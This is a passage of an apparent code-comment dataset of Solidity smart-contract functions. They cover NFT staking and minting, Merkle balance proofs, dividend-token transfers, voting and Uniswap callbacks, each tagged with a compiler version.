allowance\"));\r\n return true;\r\n }", "version": "0.6.2"} {"comment": "// want => stratId => StrategyInfo", "function_code": "function setStrategyInfo(address _want, uint _sid, address _strategy, uint _quota, uint _percent) external {\r\n require(msg.sender == strategist || msg.sender == governance, \"!strategist\");\r\n require(approvedStrategies[_want][_strategy], \"!approved\");\r\n strategies[_want][_sid].strategy = _strategy;\r\n strategies[_want][_sid].quota = _quota;\r\n strategies[_want][_sid].percent = _percent;\r\n }", "version": "0.6.12"} {"comment": "/**\n * adds SamuraiDoges to the War\n * @param tokenIds the IDs of the SamuraiDoge to stake\n */", "function_code": "function addManyToWar(uint16[] calldata tokenIds) external {\n require(stakeIsActive, \"Staking is paused\");\n for (uint256 i = 0; i < tokenIds.length; i++) {\n require(\n samuraidoge.ownerOf(tokenIds[i]) == msg.sender,\n \"Not your token\"\n );\n samuraidoge.transferFrom(msg.sender, address(this), tokenIds[i]);\n _addSamuraiDogeToWar(msg.sender, tokenIds[i]);\n }\n }", "version": "0.8.10"} {"comment": "/**\n * realize $HONOR earnings and optionally unstake tokens from the War\n * @param tokenIds the IDs of the tokens to claim earnings from\n * @param unstake whether or not to unstake ALL of the tokens listed in tokenIds\n */", "function_code": "function claimManyFromWar(uint16[] calldata tokenIds, bool unstake)\n external\n {\n uint256 owed = 0;\n for (uint256 i = 0; i < tokenIds.length; i++) {\n owed += _claimHonorFromWar(tokenIds[i], unstake);\n }\n if (owed == 0) return;\n honor.stakingMint(msg.sender, owed);\n }", "version": "0.8.10"} {"comment": "/**\n * realize $HONOR earnings for a single SamuraiDoge and optionally unstake it\n * @param tokenId the ID of the SamuraiDoge to claim earnings from\n * @param unstake whether or not to unstake the SamuraiDoge\n * @return owed - the amount of $HONOR earned\n */", "function_code": "function _claimHonorFromWar(uint256 tokenId, bool unstake)\n internal\n returns (uint256)\n {\n Stake memory stake = war[tokenId];\n if (stake.owner == address(0)) {\n // Unstaked SD tokens\n require(\n samuraidoge.ownerOf(tokenId) == msg.sender,\n \"Not your token\"\n );\n uint256 owed = _getClaimableHonor(tokenId);\n bonusClaimed[tokenId] = true;\n emit HONORClaimed(tokenId, owed, unstake);\n return owed;\n } else {\n // Staked SD tokens\n require(stake.owner == msg.sender, \"Not your token\");\n uint256 owed = _getClaimableHonor(tokenId);\n if (_elligibleForBonus(tokenId)) {\n bonusClaimed[tokenId] = true;\n }\n if (unstake) {\n // Send back SamuraiDoge to owner\n samuraidoge.safeTransferFrom(\n address(this),\n msg.sender,\n tokenId,\n \"\"\n );\n _removeTokenFromOwnerEnumeration(stake.owner, stake.tokenId);\n delete war[tokenId];\n totalSamuraiDogeStaked -= 1;\n numTokensStaked[msg.sender] -= 1;\n } else {\n // Reset stake\n war[tokenId] = Stake({\n owner: msg.sender,\n tokenId: uint16(tokenId),\n value: uint80(block.timestamp)\n });\n }\n emit HONORClaimed(tokenId, owed, unstake);\n return owed;\n }\n }", "version": "0.8.10"} {"comment": "/**\n * Calculate claimable $HONOR earnings from a single staked SamuraiDoge\n * @param tokenId the ID of the token to claim earnings from\n */", "function_code": "function _getClaimableHonor(uint256 tokenId)\n internal\n view\n returns (uint256)\n {\n uint256 owed = 0;\n if (tokenId < tokensElligibleForBonus && !bonusClaimed[tokenId]) {\n owed += bonusAmount;\n }\n Stake memory stake = war[tokenId];\n if (stake.value == 0) {} else if (\n block.timestamp < lastClaimTimestamp\n ) {\n owed +=\n ((block.timestamp - stake.value) * DAILY_HONOR_RATE) /\n 1 days;\n } else if (stake.value > lastClaimTimestamp) {\n // $HONOR production stopped already\n } else {\n owed =\n ((lastClaimTimestamp - stake.value) * DAILY_HONOR_RATE) /\n 1 days; // stop earning additional $HONOR after lastClaimTimeStamp\n }\n return owed;\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Private function to remove a token from this extension's ownership-tracking data structures.\n * This has O(1) time complexity, but alters the order of the _ownedTokens array.\n * @param owner address representing the previous owner of the given token ID\n * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address\n */", "function_code": "function _removeTokenFromOwnerEnumeration(address owner, uint256 tokenId)\n private\n {\n // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and\n // then delete the last slot (swap and pop).\n\n uint256 lastTokenIndex = numTokensStaked[owner] - 1;\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n // When the token to delete is the last token, the swap operation is unnecessary\n if (tokenIndex != lastTokenIndex) {\n uint256 lastTokenId = _ownedTokens[owner][lastTokenIndex];\n\n _ownedTokens[owner][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\n _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\n }\n\n // This also deletes the contents at the last position of the array\n delete _ownedTokensIndex[tokenId];\n delete _ownedTokens[owner][lastTokenIndex];\n }", "version": "0.8.10"} {"comment": "/**\n * allows owner to unstake tokens from the War, return the tokens to the tokens' owner, and claim $HON earnings\n * @param tokenIds the IDs of the tokens to claim earnings from\n * @param tokenOwner the address of the SamuraiDoge tokens owner\n */", "function_code": "function rescueManyFromWar(uint16[] calldata tokenIds, address tokenOwner)\n external\n onlyOwner\n {\n uint256 owed = 0;\n for (uint256 i = 0; i < tokenIds.length; i++) {\n owed += _rescueFromWar(tokenIds[i], tokenOwner);\n }\n if (owed == 0) return;\n honor.stakingMint(tokenOwner, owed);\n }", "version": "0.8.10"} {"comment": "/**\n * unstake a single SamuraiDoge from War and claim $HON earnings\n * @param tokenId the ID of the SamuraiDoge to rescue\n * @param tokenOwner the address of the SamuraiDoge token owner\n * @return owed - the amount of $HONOR earned\n */", "function_code": "function _rescueFromWar(uint256 tokenId, address tokenOwner)\n internal\n returns (uint256)\n {\n Stake memory stake = war[tokenId];\n require(stake.owner == tokenOwner, \"Not your token\");\n uint256 owed = _getClaimableHonor(tokenId);\n if (_elligibleForBonus(tokenId)) {\n bonusClaimed[tokenId] = true;\n }\n // Send back SamuraiDoge to owner\n samuraidoge.safeTransferFrom(address(this), tokenOwner, tokenId, \"\");\n _removeTokenFromOwnerEnumeration(stake.owner, stake.tokenId);\n delete war[tokenId];\n totalSamuraiDogeStaked -= 1;\n numTokensStaked[tokenOwner] -= 1;\n emit HONORClaimed(tokenId, owed, true);\n return owed;\n }", "version": "0.8.10"} {"comment": "/**\r\n * @dev Fetch all tokens owned by an address\r\n */", "function_code": "function tokensOfOwner(address _owner) external view returns (uint256[] memory) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n if (tokenCount == 0) {\r\n // Return an empty array\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory result = new uint256[](tokenCount);\r\n uint256 index;\r\n for (index = 0; index < tokenCount; index++) {\r\n result[index] = tokenOfOwnerByIndex(_owner, index);\r\n }\r\n return result;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Fetch all tokens and their tokenHash owned by an address\r\n */", "function_code": "function tokenHashesOfOwner(address _owner) external view returns (uint256[] memory, bytes32[] memory) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n if (tokenCount == 0) {\r\n // Return an empty array\r\n return (new uint256[](0), new bytes32[](0));\r\n } else {\r\n uint256[] memory result = new uint256[](tokenCount);\r\n bytes32[] memory hashes = new bytes32[](tokenCount);\r\n uint256 index;\r\n for (index = 0; index < tokenCount; index++) {\r\n result[index] = tokenOfOwnerByIndex(_owner, index);\r\n hashes[index] = tokenIdToHash[index];\r\n }\r\n return (result, hashes);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns current token price\r\n */", "function_code": "function getNFTPrice() public view returns (uint256) {\r\n require(block.timestamp >= SALE_START_TIMESTAMP, \"Sale has not started\");\r\n\r\n uint256 count = totalSupply();\r\n require(count < MAX_NFT_SUPPLY, \"Sale has already ended\");\r\n\r\n uint256 elapsed = block.timestamp - SALE_START_TIMESTAMP;\r\n if (elapsed >= SALE_DURATION * SALE_DURATION_SEC_PER_STEP) {\r\n return DUTCH_AUCTION_END_FEE;\r\n } else {\r\n return (((SALE_DURATION * SALE_DURATION_SEC_PER_STEP - elapsed - 1) / SALE_DURATION_SEC_PER_STEP + 1) * (DUTCH_AUCTION_START_FEE - DUTCH_AUCTION_END_FEE)) / SALE_DURATION + DUTCH_AUCTION_END_FEE;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mint tokens and refund any excessive amount of ETH sent in\r\n */", "function_code": "function mintAndRefundExcess(uint256 numberOfNfts) external payable nonReentrant {\r\n // Checks\r\n require(!contractSealed, \"Contract sealed\");\r\n\r\n require(block.timestamp >= SALE_START_TIMESTAMP, \"Sale has not started\");\r\n\r\n require(numberOfNfts > 0, \"Cannot mint 0 NFTs\");\r\n require(numberOfNfts <= 50, \"Cannot mint more than 50 in 1 tx\");\r\n\r\n uint256 total = totalSupply();\r\n require(total + numberOfNfts <= MAX_NFT_SUPPLY, \"Sold out\");\r\n\r\n uint256 price = getNFTPrice();\r\n require(msg.value >= numberOfNfts * price, \"Ether value sent is insufficient\");\r\n\r\n // Effects\r\n _safeMintWithHash(msg.sender, numberOfNfts, total);\r\n\r\n if (msg.value > numberOfNfts * price) {\r\n (bool success, ) = msg.sender.call{value: msg.value - numberOfNfts * price}(\"\");\r\n require(success, \"Refund excess failed.\");\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mint early access tokens\r\n */", "function_code": "function mintEarlyAccess(uint256 numberOfNfts) external payable nonReentrant {\r\n // Checks\r\n require(!contractSealed, \"Contract sealed\");\r\n\r\n require(block.timestamp < SALE_START_TIMESTAMP, \"Early access is over\");\r\n require(block.timestamp >= EARLY_ACCESS_START_TIMESTAMP, \"Early access has not started\");\r\n\r\n require(numberOfNfts > 0, \"Cannot mint 0 NFTs\");\r\n require(numberOfNfts <= 50, \"Cannot mint more than 50 in 1 tx\");\r\n\r\n uint256 total = totalSupply();\r\n require(total + numberOfNfts <= MAX_NFT_SUPPLY, \"Sold out\");\r\n require(earlyAccessMinted + numberOfNfts <= MAX_EARLY_ACCESS_SUPPLY, \"No more early access tokens left\");\r\n\r\n require(earlyAccessList[msg.sender] >= numberOfNfts, \"Invalid early access mint\");\r\n\r\n require(msg.value == numberOfNfts * EARLY_ACCESS_MINT_FEE, \"Ether value sent is incorrect\");\r\n\r\n // Effects\r\n earlyAccessList[msg.sender] = earlyAccessList[msg.sender] - numberOfNfts;\r\n earlyAccessMinted = earlyAccessMinted + numberOfNfts;\r\n\r\n _safeMintWithHash(msg.sender, numberOfNfts, total);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Interact with Pochi. Directly from Ethereum!\r\n */", "function_code": "function pochiAction(\r\n uint256 actionType,\r\n string calldata actionText,\r\n string calldata actionTarget\r\n ) external payable {\r\n if (balanceOf(msg.sender) > 0) {\r\n require(msg.value >= POCHI_ACTION_OWNER_FEE, \"Ether value sent is incorrect\");\r\n } else {\r\n require(msg.value >= POCHI_ACTION_PUBLIC_FEE, \"Ether value sent is incorrect\");\r\n }\r\n\r\n emit PochiAction(block.timestamp, actionType, actionText, actionTarget, msg.sender);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Safely mint tokens, and assign tokenHash to the new tokens\r\n *\r\n * Emits a {NewTokenHash} event.\r\n */", "function_code": "function _safeMintWithHash(\r\n address to,\r\n uint256 numberOfNfts,\r\n uint256 startingTokenId\r\n ) internal virtual {\r\n for (uint256 i = 0; i < numberOfNfts; i++) {\r\n uint256 tokenId = startingTokenId + i;\r\n bytes32 tokenHash = keccak256(abi.encodePacked(tokenId, block.number, block.coinbase, block.timestamp, blockhash(block.number - 1), msg.sender));\r\n\r\n tokenIdToHash[tokenId] = tokenHash;\r\n\r\n _safeMint(to, tokenId, \"\");\r\n\r\n emit NewTokenHash(tokenId, tokenHash);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Add to the early access list\r\n */", "function_code": "function deployerAddEarlyAccess(address[] calldata recipients, uint256[] calldata limits) external onlyDeployer {\r\n require(!contractSealed, \"Contract sealed\");\r\n\r\n for (uint256 i = 0; i < recipients.length; i++) {\r\n require(recipients[i] != address(0), \"Can't add the null address\");\r\n\r\n earlyAccessList[recipients[i]] = limits[i];\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Remove from the early access list\r\n */", "function_code": "function deployerRemoveEarlyAccess(address[] calldata recipients) external onlyDeployer {\r\n require(!contractSealed, \"Contract sealed\");\r\n\r\n for (uint256 i = 0; i < recipients.length; i++) {\r\n require(recipients[i] != address(0), \"Can't remove the null address\");\r\n\r\n earlyAccessList[recipients[i]] = 0;\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Reserve dev tokens and air drop tokens to craft ham holders\r\n */", "function_code": "function deployerMintMultiple(address[] calldata recipients) external payable onlyDeployer {\r\n require(!contractSealed, \"Contract sealed\");\r\n\r\n uint256 total = totalSupply();\r\n require(total + recipients.length <= MAX_NFT_SUPPLY, \"Sold out\");\r\n\r\n for (uint256 i = 0; i < recipients.length; i++) {\r\n require(recipients[i] != address(0), \"Can't mint to null address\");\r\n\r\n _safeMintWithHash(recipients[i], 1, total + i);\r\n }\r\n }", "version": "0.8.4"} {"comment": "// callable by owner only", "function_code": "function activate() onlyOwner public {\n \n\t\t//check for rewards\n\t\tERC20 tokenOne = ERC20(token1);\n\t\tERC20 tokenTwo = ERC20(token2);\n\t\tuint256 tenPerc=10;\n\t\tuint256 balanceForToken1= tokenOne.balanceOf(address(this));\n\t\tuint256 balanceForToken2= tokenTwo.balanceOf(address(this));\n\t\tuint256 token1CheckAmount;\n\t\tuint256 token2CheckAmount;\n\t\tuint256 rewardBalance1;\n\t\tuint256 rewardBalance2;\n\t\t\n\t\ttoken1CheckAmount = SafeMath.sub(balanceForToken1,totalStaked1);\n\t\ttoken2CheckAmount = SafeMath.sub(balanceForToken2,totalStaked2);\n\t\t\n\t\trewardBalance1 = SafeMath.sub(SafeMath.sub(rewardAmt1,totalRedeemed1),openRewards1);\n\t\trewardBalance2 = SafeMath.sub(SafeMath.sub(rewardAmt2,totalRedeemed2),openRewards2);\n\t\t\n\t\trequire (token1CheckAmount>=SafeMath.div(rewardBalance1,tenPerc),\"Activation error. Insufficient balance of rewards for token1\");\n\t\trequire (token2CheckAmount>=SafeMath.div(rewardBalance2,tenPerc),\"Activation error. Insufficient balance of rewards for token2\");\n\t\t//activate staking\n\t\tstakingStarted = true;\n\t\temit StartStaking(msg.sender,block.timestamp);\n }", "version": "0.8.4"} {"comment": "// UniswapV3 callback", "function_code": "function uniswapV3SwapCallback(\n int256,\n int256,\n bytes calldata data\n ) external {\n SwapV3Calldata memory fsCalldata = abi.decode(data, (SwapV3Calldata));\n CallbackValidation.verifyCallback(UNIV3_FACTORY, fsCalldata.tokenIn, fsCalldata.tokenOut, fsCalldata.fee);\n\n bool success;\n bytes memory m;\n for (uint256 i = 0; i < fsCalldata.targets.length; i++) {\n (success, m) = fsCalldata.targets[i].call(fsCalldata.data[i]);\n require(success, string(m));\n }\n }", "version": "0.7.4"} {"comment": "/**\r\n * To allow distributing of trading fees to be split between dapps \r\n * (Dapps cant be hardcoded because more will be added in future)\r\n * Has a hardcap of 1% per 24 hours -trading fees consistantly exceeding that 1% is not a bad problem to have(!)\r\n */", "function_code": "function distributeTradingFees(address recipient, uint256 amount) external {\r\n uint256 liquidityBalance = liquidityToken.balanceOf(address(this));\r\n require(amount < (liquidityBalance / 100)); // Max 1%\r\n require(lastTradingFeeDistribution + 24 hours < now); // Max once a day\r\n require(msg.sender == tszunami);\r\n \r\n liquidityToken.transfer(recipient, amount);\r\n lastTradingFeeDistribution = now;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Check the merkle proof of balance in the given side-chain block for given account\r\n */", "function_code": "function proofIsCorrect(uint blockNumber, address account, uint balance, bytes32[] memory proof) public view returns(bool) {\r\n bytes32 hash = keccak256(abi.encodePacked(account, balance));\r\n bytes32 rootHash = blockHash[blockNumber];\r\n require(rootHash != 0x0, \"error_blockNotFound\");\r\n return rootHash == calculateRootHash(hash, proof);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Calculate root hash of a Merkle tree, given\r\n * @param hash of the leaf to verify\r\n * @param others list of hashes of \"other\" branches\r\n */", "function_code": "function calculateRootHash(bytes32 hash, bytes32[] memory others) public pure returns (bytes32 root) {\r\n root = hash;\r\n for (uint8 i = 0; i < others.length; i++) {\r\n bytes32 other = others[i];\r\n if (other == 0x0) continue; // odd branch, no need to hash\r\n if (root < other) {\r\n root = keccak256(abi.encodePacked(root, other));\r\n } else {\r\n root = keccak256(abi.encodePacked(other, root));\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Called from BalanceVerifier.prove\r\n * Prove can be called directly to withdraw less than the whole share,\r\n * or just \"cement\" the earnings so far into root chain even without withdrawing\r\n */", "function_code": "function onVerifySuccess(uint blockNumber, address account, uint newEarnings) internal {\r\n uint blockFreezeStart = blockTimestamp[blockNumber];\r\n require(now > blockFreezeStart + blockFreezeSeconds, \"error_frozen\");\r\n require(earnings[account] < newEarnings, \"error_oldEarnings\");\r\n totalProven = totalProven.add(newEarnings).sub(earnings[account]);\r\n require(totalProven.sub(totalWithdrawn) <= token.balanceOf(this), \"error_missingBalance\");\r\n earnings[account] = newEarnings;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Execute token withdrawal into specified recipient address from specified member account\r\n * @dev It is up to the sidechain implementation to make sure\r\n * @dev always token balance >= sum of earnings - sum of withdrawn\r\n */", "function_code": "function withdrawTo(address recipient, address account, uint amount) public {\r\n require(amount > 0, \"error_zeroWithdraw\");\r\n uint w = withdrawn[account].add(amount);\r\n require(w <= earnings[account], \"error_overdraft\");\r\n withdrawn[account] = w;\r\n totalWithdrawn = totalWithdrawn.add(amount);\r\n require(token.transfer(recipient, amount), \"error_transfer\");\r\n }", "version": "0.4.24"} {"comment": "/// Requires the amount of Ether be at least or more of the currentPrice\n/// @dev Creates an instance of an token and mints it to the purchaser\n/// @param _tokenIdList The token identification as an integer\n/// @param _tokenOwner owner of the token", "function_code": "function createToken (uint256[] _tokenIdList, address _tokenOwner) external payable onlyOwner{\r\n\t \r\n\t uint256 _tokenId;\r\n \r\n for (uint8 tokenNum=0; tokenNum < _tokenIdList.length; tokenNum++){\r\n _tokenId = _tokenIdList[tokenNum];\r\n \r\n NFTtoken memory _NFTtoken = NFTtoken({\r\n attribute: \"\",\r\n birthTime: uint64(now)\r\n });\r\n \r\n isNFTAlive[_tokenId] = true;\r\n \r\n tokdenIdToNFTindex[_tokenId] = allNFTtokens.length;\r\n allNFTtokens.push(_NFTtoken);\r\n \r\n\t\t _mint(_tokenOwner, _tokenId);\r\n\t\t emit BoughtToken(_tokenOwner, _tokenId);\r\n }\r\n\t }", "version": "0.4.24"} {"comment": "/**\r\n * Sends Bondf Fund ether to the bond contract\r\n * \r\n */", "function_code": "function payFund() payable public \r\n onlyAdministrator()\r\n {\r\n \r\n\r\n uint256 _bondEthToPay = 0;\r\n\r\n uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundRecieved);\r\n require(ethToPay > 1);\r\n\r\n uint256 altEthToPay = SafeMath.div(SafeMath.mul(ethToPay,altFundFee_),100);\r\n if (altFundFee_ > 0){\r\n _bondEthToPay = SafeMath.sub(ethToPay,altEthToPay);\r\n } else{\r\n _bondEthToPay = 0;\r\n }\r\n\r\n \r\n totalEthFundRecieved = SafeMath.add(totalEthFundRecieved, ethToPay);\r\n if(!bondFundAddress.call.value(_bondEthToPay).gas(400000)()) {\r\n totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, _bondEthToPay);\r\n }\r\n\r\n if(altEthToPay > 0){\r\n if(!altFundAddress.call.value(altEthToPay).gas(400000)()) {\r\n totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, altEthToPay);\r\n }\r\n }\r\n \r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Transfer tokens from the caller to a new holder.\r\n * REMEMBER THIS IS 0% TRANSFER FEE\r\n */", "function_code": "function transfer(address _toAddress, uint256 _amountOfTokens)\r\n onlyBagholders()\r\n public\r\n returns(bool)\r\n {\r\n // setup\r\n address _customerAddress = msg.sender;\r\n\r\n // make sure we have the requested tokens\r\n // also disables transfers until ambassador phase is over\r\n // ( we dont want whale premines )\r\n require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n\r\n // withdraw all outstanding dividends first\r\n if(myDividends(true) > 0) withdraw();\r\n\r\n // exchange tokens\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);\r\n tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);\r\n\r\n // update dividend trackers\r\n payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);\r\n payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);\r\n\r\n\r\n // fire event\r\n Transfer(_customerAddress, _toAddress, _amountOfTokens);\r\n\r\n // ERC20\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Transfer token to a specified address and forward the data to recipient\r\n * ERC-677 standard\r\n * https://github.com/ethereum/EIPs/issues/677\r\n * @param _to Receiver address.\r\n * @param _value Amount of tokens that will be transferred.\r\n * @param _data Transaction metadata.\r\n */", "function_code": "function transferAndCall(address _to, uint256 _value, bytes _data) external returns (bool) {\r\n require(_to != address(0));\r\n require(canAcceptTokens_[_to] == true); // security check that contract approved by Wall Street Exchange platform\r\n require(transfer(_to, _value)); // do a normal token transfer to the contract\r\n\r\n if (isContract(_to)) {\r\n AcceptsExchange receiver = AcceptsExchange(_to);\r\n require(receiver.tokenFallback(msg.sender, _value, _data));\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Additional check that the game address we are sending tokens to is a contract\r\n * assemble the given address bytecode. If bytecode exists then the _addr is a contract.\r\n */", "function_code": "function isContract(address _addr) private constant returns (bool is_contract) {\r\n // retrieve the size of the code on target address, this needs assembly\r\n uint length;\r\n assembly { length := extcodesize(_addr) }\r\n return length > 0;\r\n }", "version": "0.4.24"} {"comment": "// Make sure we will send back excess if user sends more then 5 ether before 10 ETH in contract", "function_code": "function purchaseInternal(uint256 _incomingEthereum, address _referredBy)\r\n notContract()// no contracts allowed\r\n internal\r\n returns(uint256) {\r\n\r\n uint256 purchaseEthereum = _incomingEthereum;\r\n uint256 excess;\r\n if(purchaseEthereum > 2.5 ether) { // check if the transaction is over 2.5 ether\r\n if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 10 ether) { // if so check the contract is less then 100 ether\r\n purchaseEthereum = 2.5 ether;\r\n excess = SafeMath.sub(_incomingEthereum, purchaseEthereum);\r\n }\r\n }\r\n\r\n purchaseTokens(purchaseEthereum, _referredBy);\r\n\r\n if (excess > 0) {\r\n msg.sender.transfer(excess);\r\n }\r\n }", "version": "0.4.24"} {"comment": "//onlyDelegates", "function_code": "function mintTo(uint[] calldata quantity, address[] calldata recipient, TOKEN_TYPES _tokenType) external payable onlyDelegates {\n require(quantity.length == recipient.length, \"Must provide equal quantities and recipients\" );\n\n uint totalQuantity = 0;\n for(uint i = 0; i < quantity.length; i++){\n totalQuantity += quantity[i];\n }\n require( amountSold + totalQuantity <= MAX_SUPPLY, \"Mint/order exceeds supply\" );\n delete totalQuantity;\n\n for(uint i = 0; i < recipient.length; i++) {\n for(uint j = 0; j < quantity[i]; j++) {\n tokenContract.mint(recipient[i], _tokenType);\n }\n }\n }", "version": "0.8.4"} {"comment": "//onlyOwner", "function_code": "function setMaxSupply(uint maxSupply) external onlyOwner {\n require( MAX_SUPPLY != maxSupply, \"New value matches old\" );\n require( maxSupply >= amountSold, \"Specified supply is lower than current balance\" );\n MAX_SUPPLY = maxSupply;\n }", "version": "0.8.4"} {"comment": "/**\n * @dev calculates total amounts must be rewarded and transfers XCAD to the address\n */", "function_code": "function getReward() public {\n uint256 _earned = earned(msg.sender);\n require(_earned <= rewards[msg.sender], \"RewardPayout: earned is more than reward!\");\n require(_earned > payouts[msg.sender], \"RewardPayout: earned is less or equal to already paid!\");\n\n uint256 reward = _earned.sub(payouts[msg.sender]);\n\n if (reward > 0) {\n payouts[msg.sender] = _earned;\n xcadToken.safeTransfer(msg.sender, reward);\n emit RewardPaid(msg.sender, reward);\n }\n }", "version": "0.8.4"} {"comment": "//------------------------- STRING MANIPULATION --------------------------", "function_code": "function trimStr(uint256 maxLength, string calldata str) internal pure returns( string memory ) {\r\n bytes memory strBytes = bytes(str);\r\n\r\n if (strBytes.length < maxLength) {\r\n return str;\r\n } else {\r\n // Trim down to max length\r\n bytes memory trimmed = new bytes(maxLength);\r\n for(uint256 i = 0; i < maxLength; i++) {\r\n trimmed[i] = strBytes[i];\r\n }\r\n return string(trimmed);\r\n }\r\n }", "version": "0.8.7"} {"comment": "//------------------------- MESSAGES --------------------------", "function_code": "function setMsgSingleDigit(string calldata leaderMsg) external {\r\n require(bytes(leaderMsg).length > 0, \"You cannot set an empty message.\");\r\n require(msg.sender == topSingleDigitHolder(), \"You are not the leading owner of single-digit mint numbers.\");\r\n\r\n msgSingleDigit = trimStr( MAX_MSG_LENGTH, leaderMsg );\r\n \r\n emit singleDigitLeaderMsgSet(msg.sender, leaderMsg);\r\n }", "version": "0.8.7"} {"comment": "// ------------------------------------------------------------------------\n// _to The address that will receive the minted tokens.\n// _amount The amount of tokens to mint.\n// A boolean that indicates if the operation was successful.\n// ------------------------------------------------------------------------", "function_code": "function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {\r\n require(_to != address(0));\r\n require(_amount > 0);\r\n \r\n uint newamount = _amount * 10**uint(decimals);\r\n _totalSupply = _totalSupply.add(newamount);\r\n balances[_to] = balances[_to].add(newamount);\r\n \r\n emit Mint(_to, newamount);\r\n emit Transfer(address(0), _to, newamount);\r\n return true;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * @dev Validate a multihash bytes value\r\n */", "function_code": "function isValidIPFSMultihash(bytes _multihashBytes) internal pure returns (bool) {\r\n require(_multihashBytes.length > 2);\r\n\r\n uint8 _size;\r\n\r\n // There isn't another way to extract only this byte into a uint8\r\n // solhint-disable no-inline-assembly\r\n assembly {\r\n // Seek forward 33 bytes beyond the solidity length value and the hash function byte\r\n _size := byte(0, mload(add(_multihashBytes, 33)))\r\n }\r\n\r\n return (_multihashBytes.length == _size + 2);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Cast or change your vote\r\n * @param _choice The index of the option in the corresponding IPFS document.\r\n */", "function_code": "function vote(uint16 _choice) public duringPoll {\r\n // Choices are indexed from 1 since the mapping returns 0 for \"no vote cast\"\r\n require(_choice <= numChoices && _choice > 0);\r\n\r\n votes[msg.sender] = _choice;\r\n VoteCast(msg.sender, _choice);\r\n }", "version": "0.4.18"} {"comment": "// via https://stackoverflow.com/a/65707309/424107\n// @dev credit again to the blitmap contract", "function_code": "function uint2str(uint _i) internal pure returns (string memory _uintAsString) {\n if (_i == 0) {\n return \"0\";\n }\n uint j = _i;\n uint len;\n while (j != 0) {\n len++;\n j /= 10;\n }\n bytes memory bstr = new bytes(len);\n uint k = len;\n while (_i != 0) {\n k = k-1;\n uint8 temp = (48 + uint8(_i - _i / 10 * 10));\n bytes1 b1 = bytes1(temp);\n bstr[k] = b1;\n _i /= 10;\n }\n return string(bstr);\n }", "version": "0.8.0"} {"comment": "// owner to claim keycards", "function_code": "function ownerClaim(uint256 num) external nonReentrant onlyOwner {\r\n require( _tokenIdCounter.current() + num <= _maxSupply, \"max supply reached\" );\r\n for (uint i = 0; i < num; i++) {\r\n _safeMint(owner(), _tokenIdCounter.current() + 1);\r\n _tokenIdCounter.increment();\r\n }\r\n }", "version": "0.8.7"} {"comment": "// ============ For Owner ============", "function_code": "function grant(address[] calldata holderList, uint256[] calldata amountList)\r\n external\r\n onlyOwner\r\n {\r\n require(holderList.length == amountList.length, \"batch grant length not match\");\r\n uint256 amount = 0;\r\n for (uint256 i = 0; i < holderList.length; ++i) {\r\n // for saving gas, no event for grant\r\n originBalances[holderList[i]] = originBalances[holderList[i]].add(amountList[i]);\r\n amount = amount.add(amountList[i]);\r\n }\r\n _UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);\r\n }", "version": "0.6.9"} {"comment": "// get a linked keycard from tokenId", "function_code": "function getAssetLink1(uint256 tokenId) private pure returns (uint256) {\r\n if (tokenId > 1) {\r\n uint256 rand = random(\"link1\", tokenId);\r\n if (rand % 99 < 70)\r\n return rand % (tokenId - 1) + 1;\r\n else\r\n return 0;\r\n } else {\r\n return 0;\r\n }\r\n }", "version": "0.8.7"} {"comment": "// (^_^) Business Logic (^_^) ", "function_code": "function claimReserved(uint _amount) external onlyAdmin {\r\n\r\n require(_amount > 0, \"Error: Need to have reserved supply.\");\r\n require(accounts[msg.sender].isAdmin == true,\"Error: Only an admin can claim.\");\r\n require(accounts[msg.sender].nftsReserved >= _amount, \"Error: You are trying to claim more NFTs than you have reserved.\");\r\n require(totalSupply() + _amount <= MAXSUPPLY, \"Error: You would exceed the max supply limit.\");\r\n\r\n accounts[msg.sender].nftsReserved -= _amount;\r\n _reserved = _reserved - _amount;\r\n\r\n for (uint i = 0; i < _amount; i++) {\r\n id++;\r\n _safeMint(msg.sender, id);\r\n emit Mint(msg.sender, totalSupply());\r\n }\r\n\r\n }", "version": "0.8.2"} {"comment": "/**\n * @notice Called by the delegator on a delegate to initialize it for duty\n * @param data The encoded bytes data for any initialization\n */", "function_code": "function _becomeImplementation(bytes memory data) public {\n // Shh -- currently unused\n data;\n\n // Shh -- we don't ever want this 